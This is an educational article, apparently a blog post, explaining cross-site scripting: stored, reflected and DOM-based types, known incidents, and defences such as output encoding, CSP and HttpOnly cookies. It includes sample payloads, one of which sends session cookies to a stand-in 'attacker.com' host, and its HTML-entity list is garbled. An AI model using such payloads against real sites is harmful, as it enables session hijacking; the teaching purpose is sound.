Cross-Site Scripting (XSS) is one of the most widespread vulnerabilities on the web and has featured in OWASP’s Top 10 for decades. It allows attackers to inject malicious scripts into web pages viewed by other users — stealing session cookies, redirecting users to phishing sites, logging keystrokes, or even taking full control of a victim’s browser session.
What Is XSS?
XSS occurs when a web application includes unvalidated or unescaped user input in its output. The attacker’s script runs in the victim’s browser — in the context of the vulnerable website. Since the script appears to come from a trusted site, it has access to cookies, session tokens, and everything the site can access.
Three Types of XSS
1. Stored XSS (Persistent)
The attacker’s payload is stored on the server (in a database) and served to every user who views the affected page. Classic example: a comment field on a blog. If the application doesn’t sanitize input, an attacker posts a comment containing:
<script>document.location='https://attacker.com/steal?c='+document.cookie;</script>
Every user who views that comment page has their session cookie sent to the attacker’s server. The attacker can then use that cookie to impersonate the victim without ever knowing their password.
Stored XSS is the most dangerous type because it affects every user who visits the page, without requiring any interaction beyond viewing the content.
2. Reflected XSS (Non-Persistent)
The payload isn’t stored on the server — it’s “reflected” off it immediately. Common in search pages, error messages, and URL parameters. The attacker crafts a malicious URL and tricks the victim into clicking it:
https://example.com/search?q=<script>alert(document.cookie)</script>
If the site displays the search query without sanitization, the script executes in the victim’s browser. The attacker distributes this URL via phishing emails, social media, or shortened links to target specific users.
3. DOM-Based XSS
The vulnerability exists entirely in the client-side JavaScript code. The server never sees the payload — the malicious script is injected through the DOM (Document Object Model) by client-side code that unsafely processes URL fragments or other user-controlled data. Example: a page reads window.location.hash and writes it directly to innerHTML without sanitization.
// Vulnerable code
document.getElementById("output").innerHTML = location.hash.substring(1);
// Exploit URL
https://example.com/page#<img src=x onerror=alert(1)>
DOM XSS can be harder to detect because it doesn’t pass through the server-side application — scanners that only analyze server responses may miss it.
What Attackers Can Do With XSS
- Session hijacking: Steal session cookies and impersonate users
- Credential harvesting: Inject fake login forms on the real site
- Keylogging: Log every key the victim types on the page
- Browser exploitation: Use BeEF (Browser Exploitation Framework) to pivot through the victim’s browser to attack their internal network
- Defacement: Change the visual appearance of the page for the victim
- Cryptocurrency mining: Use the victim’s CPU for mining via JavaScript
- Malware distribution: Redirect users to malicious download pages
Real-World XSS Attacks
British Airways (2018) — 500,000 Customers Affected
The Magecart group exploited a vulnerability (including XSS techniques) to inject a 22-line JavaScript skimmer into British Airways’ payment pages. The script silently copied credit card details and personal information and sent them to an attacker-controlled server. The attack lasted 15 days before being discovered. British Airways was fined £20 million by the UK ICO.
MySpace Samy Worm (2005)
Samy Kamkar created a stored XSS worm that automatically added him as a friend on MySpace and copied itself to each victim’s profile. Within 20 hours, it had spread to over one million profiles — the fastest-spreading piece of malware in history at that time. Samy was arrested and sentenced to community service.
eBay XSS (2014–2016)
Attackers repeatedly exploited XSS vulnerabilities in eBay listings to redirect users to phishing pages. When users clicked on what appeared to be a legitimate product listing, they were transparently redirected to a phishing site asking for eBay credentials. eBay was criticized for repeatedly failing to fix the issue across multiple years.
How to Fix and Prevent XSS
1. Output Encoding (Most Important)
Always encode user data before inserting it into HTML. This converts special characters into their HTML entities, so they display correctly but can’t execute as code. Use context-specific encoding:
- HTML context: encode < > & ” ‘ to < > & " '
- JavaScript context: JSON.stringify() or proper JS encoding
- URL context: URL encoding for dynamic parameters
Use established libraries: OWASP Java Encoder, Microsoft AntiXSS Library, DOMPurify (JavaScript). Never write your own encoding functions.
2. Content Security Policy (CSP)
CSP is an HTTP response header that tells browsers which scripts are allowed to run. A strict CSP can prevent XSS payload execution even if the vulnerability exists:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'
With a nonce-based CSP, only scripts with the matching nonce attribute execute — inline injected scripts won’t have the nonce and won’t run.
3. Input Validation
Validate input on the server side. If a field should only contain a number, reject anything that isn’t a number. Use whitelisting where possible. Input validation is a defense-in-depth measure — it doesn’t replace output encoding but reduces the attack surface.
4. HttpOnly and Secure Cookie Flags
The HttpOnly flag on cookies prevents JavaScript from reading them — stopping cookie theft even if XSS occurs:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
The Secure flag ensures cookies are only sent over HTTPS. SameSite=Strict prevents CSRF attacks. These flags should be on all session cookies.
5. Use a WAF
A Web Application Firewall can detect and block XSS patterns in requests and responses. Cloudflare, ModSecurity, and AWS WAF all have XSS detection rules. It’s a useful safety net but shouldn’t be your only defense — sophisticated attackers can often bypass WAF rules.
6. For WordPress Specifically
- Keep WordPress core, themes, and plugins updated — XSS vulnerabilities in plugins are extremely common
- Use functions like esc_html(), esc_attr(), wp_kses() when outputting dynamic content in themes/plugins
- Enable Wordfence’s XSS scanning
- Add CSP headers via your .htaccess or a security plugin
Testing for XSS: Free Tools
- OWASP ZAP — automated XSS scanning for your own applications
- Burp Suite Community — manual and semi-automated XSS testing
- XSSer — automated XSS detection and exploitation framework
- DOMPurify — client-side library to sanitize HTML and prevent DOM XSS
Summary
XSS is a persistent threat because it’s easy to introduce through seemingly minor oversights in how applications handle user input. The fixes are straightforward: encode output, implement CSP, set HttpOnly cookies, and use a WAF. Test your applications regularly with automated scanners and manual review. Every web developer should understand XSS — it’s not just a security team problem.